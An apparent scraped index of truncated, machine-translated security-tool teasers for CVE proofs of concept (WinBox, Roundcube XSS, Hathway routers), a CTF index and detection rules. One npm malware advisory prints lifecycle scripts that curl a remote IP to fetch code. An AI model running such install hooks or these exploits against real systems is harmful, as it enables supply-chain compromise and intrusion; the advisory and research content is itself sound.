smb

root@kitploit: ███████╗███╗ ███╗██████╗ ███║ ██╔════╝████╗ ████║██╔══██╗ ║██║ ███████╗██╔████╔██║██████╔╝ ██║ ██ ║██║ ╚════██║██║╚██╔╝██║██╔══██╗ ╚██╗ ██ ╔╝██║ ███████║██║ ╚═╝ ██║██████╔╝ ╚████╔╝ ██║ ╚══════╝╚═╝ ╚═╝╚═════╝ ╚═══╝ ╚═╝ SMB es un protocolo de red que permite compartir archivos,...

CVE-2018-14847

WinboxExploit Dies ist ein Proof-of-Concept der kritischen WinBox-Sicherheitslücke CVE-2018-14847, die das beliebige Auslesen von Klartextpasswörtern ermöglicht. Blogbeitrag https://n0p.me/winbox-bug-dissection/ Voraussetzungen Python 3+ Dieses Skript wird NICHT mit Python 2.x oder niedriger...

CVE-2019-6440

CVE-2019-6440: Produtos testados: Zemana antimalware v.2.74.2.150 & Zemana antilogger v.2.74.204.150. Corrigido desde a v.2.74.2.664 Sobre a vulnerabilidade: Esta vulnerabilidade permitia que atacantes obtivessem privilégios de SYSTEM em máquinas alvo sem interação do usuário. Requisitos: 1. O...

Sensitive-Information-disclosure-via-SPI-flash-firmware-for-Hathway-router-CVE-2024-46383

Offenlegung sensibler Informationen über die SPI-Flash-Firmware des Hathway-Routers - CVE-2024-46383 Schwachstellenbeschreibung: Während der Sicherheitsbewertung der Router-Firmware wurde festgestellt, dass sensible Informationen zu den mit dem Router verbundenen Geräten wie Mobiltelefonen, Lapto...

Extracting-User-credentials-For-Web-portal-and-WiFi-AP-For-Hathway-Router-CVE-2024-44815-

Extraindo-Credenciais-de-Usuário-para-Roteador-Hathway Via SPI flash-CVE-2024-44815 Descrição da Vulnerabilidade: Durante a avaliação de segurança do firmware do roteador, observou-se que as credenciais de login do roteador, tanto do portal web quanto do ponto de acesso Wi-Fi, são armazenadas em...

CVE-2023-36123

CVE-2023-36123 केवल प्रदर्शन उद्देश्यों के लिए। यह शोषण Plain Craft Launcher 2 के सभी संस्करणों पर काम करता है। Custom.xaml डाउनलोड करें और Plain Craft Launcher 2 में आयात करें, फिर "Run Command" पर क्लिक करें। https://github.com/Hex-Dragon/PCL2/assets/140469824/636d1436-a26d-4f54-ad4f-a7b1bb1237...

CVE-2026-22011-iOS-MDM-Profile-Delivery-over-HTTP

CVE-2026-22011 – Consegna del profilo MDM iOS su HTTP Codice del programma Server MDM Python Flask root@kitploit: mdmserver.py - Serves enrollment profile over plain HTTP from flask import Flask, sendfile app = Flaskname @app.route'/enroll.mobileconfig' def serveprofile: Vulnerability: profile...

CVE-2023-43770-POC

CVE-2023-43770 POC Ein Proof-of-Concept für die kürzlich entdeckte Schwachstelle CVE-2023-43770. Roundcube vor 1.4.14, 1.5.x vor 1.5.4 und 1.6.x vor 1.6.3 erlaubt XSS über text/plain E-Mail-Nachrichten mit manipulierten Links aufgrund des Verhaltens von...

CVE-2023-43770-PoC

CVE-2023-43770-PoC PoC per la vulnerabilità XSS persistente CVE-2023-43770 Descrizione Roundcube prima di 1.4.14, 1.5.x prima di 1.5.4 e 1.6.x prima di 1.6.3 consente XSS tramite messaggi di posta elettronica text/plain con collegamenti manipolati a causa del comportamento di...

Telesquare TLR-2855KS6 - Arbitrary File Creation

An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts. id: CVE-2021-46418 info: name: Telesquare TLR-2855KS6 - Arbitrary File Creation author: DhiyaneshDK severity: high description: | An unauthorized file creation vulnerability in...

ctf

Cose relative al CTF Indice Le sfide sono collegate nella tabella seguente. Descrizione| Evento/Gioco| Soluzione ---|---|--- Smash The Stack| ---| --- Blackbox| Level 1| Un eseguibile con una funzionalità di "login" con la password in testo semplice nella memoria. Blackbox| Level 2| Un eseguibile...

CVE-2025-63820

CVE-2025-63820 Einreicher: Nicola Giuffrida Informationen Hersteller: TOTOLINK Website des Herstellers: TOTOLINK Modell: A720R Firmware-Version: V4.1.5cu.630B20250509 Firmware-Downloadadresse: TOTOLINK Details zur Schwachstelle Beim Anmelden am Kontrollpanel werden Benutzername und Passwort im...

CVE-2022-42176

PCSecure V5.0.8.xw - L'uso di credenziali hard-coded nei file di configurazione porta all'accesso al pannello di amministrazione Sommario Fornitore: PCTechSoft SAS Prodotto: PCSecure Versionei interessatae: 5.0.8.xw Nome in codice: PapiQuieroPollo00 Vulnerabilità Tipo: Uso di credenziali hard-cod...

WinboxPoC

WinboxExploit Questa è una proof of concept della critica vulnerabilità WinBox CVE-2018-14847 che consente la lettura arbitraria di file con password in chiaro. La vulnerabilità è stata riparata da tempo, quindi questo progetto è terminato e non sarà più supportato o aggiornato. Puoi invece...

CVE-2026-5076

CVE-2026-5076 - ARMember Schwachstelle beim Zurücksetzen des Passworts Informationen zur Schwachstelle Element| Detail ---|--- CVE-ID| CVE-2026-5076 Plugin| ARMember – Membership Plugin & Content Restriction Betroffene Version| Premium = 7.3.1 Gepatchte Version| 7.3.2 CVSS-Score| 9.8 Kritisch CWE...

aiagent-detection-rules

aiagent-detection-rules Sigma-, Splunk-, Elastic- und YARA-Erkennungsregeln für den Claude-Code-Quellcode-Leak 31. März 2026 und den gleichzeitigen npm-Lieferkettenangriff. Am 31. März 2026 hat Anthropic versehentlich eine fehlkonfigurierte Source-Map in @anthropic-ai/[email protected]...

MAL-2026-14400 Malicious code in sm-session (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24 package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s...

solutions

Exploitmatic solutions !License: Apache 2.0https://img.sh...

CVE-2026-54433

CVE-2026-54433: XSS memorizzato nelle email in testo semplice di Roundcube Questo repository contiene una prova di concetto Python configurabile per CVE-2026-54433 , una vulnerabilità di cross-site scripting memorizzato nel renderer di email in testo semplice di Roundcube. Un mittente non...

DEBIAN-CVE-2026-68554

Coturn is a free open source implementation of TURN and STUN Server. Prior to 4.15.0, an on-path attacker can append attributes after MESSAGE-INTEGRITY to an authenticated STUN request on plain UDP or TCP, adjust the STUN header length, and recompute the unkeyed FINGERPRINT while the original HMA...